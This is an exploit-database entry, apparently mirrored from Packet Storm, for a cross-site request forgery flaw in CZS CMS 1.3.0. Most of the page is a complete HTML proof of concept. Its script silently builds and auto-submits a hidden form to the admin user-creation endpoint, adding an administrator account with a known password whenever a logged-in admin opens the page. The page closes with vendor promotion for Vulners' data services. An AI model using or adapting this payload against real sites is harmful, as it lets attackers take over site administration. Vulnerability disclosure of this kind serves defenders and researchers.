Lucene search
K

CZS CMS 1.3.0 Cross Site Request Forgery

🗓️ 06 Mar 2025 00:00:00Reported by Ahmet Ümit BayramType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 208 Views

CZS CMS 1.3.0 vulnerable to Cross Site Request Forgery allowing unauthorized admin access.

Code
# Exploit Title: CZS CMS 1.3.0 - Cross Site Request Forgery (CSRF) (Add
    Admin)
    # Date: 2024-05-03
    # Exploit Author: Ahmet Ümit BAYRAM
    # Vendor Homepage: https://www.cszcms.com
    # Software Link:
    https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download
    # Version: latest
    # Tested on: MacOS
    
    
    ##################################### CSRF PoC
    #####################################
    
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF PoC</title>
    </head>
    <body>
    
    <script>
    // Create a hidden form
    var form = document.createElement("form");
    form.setAttribute("method", "POST");
    form.setAttribute("action", "http://TARGETSITE/admin/users/new/add");
    form.setAttribute("target", "_blank"); // Open in a new tab
    
    // Add form fields
    var fields = {
    name: "admin",
    email: "[email protected]",
    password: "pass",
    con_password: "pass",
    group: "1",
    pass_change: "yes",
    active: 1
    // Add other fields as needed
    };
    
    // Append fields to the form
    for (var key in fields) {
    if (fields.hasOwnProperty(key)) {
    var input = document.createElement("input");
    input.setAttribute("type", "hidden");
    input.setAttribute("name", key);
    input.setAttribute("value", fields[key]);
    form.appendChild(input);
    }
    }
    
    // Add the form to the page
    document.body.appendChild(form);
    
    // Submit the form
    form.submit();
    </script>
    
    </body>
    </html>
    
    ##################################### CSRF PoC Ended
    #####################################

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation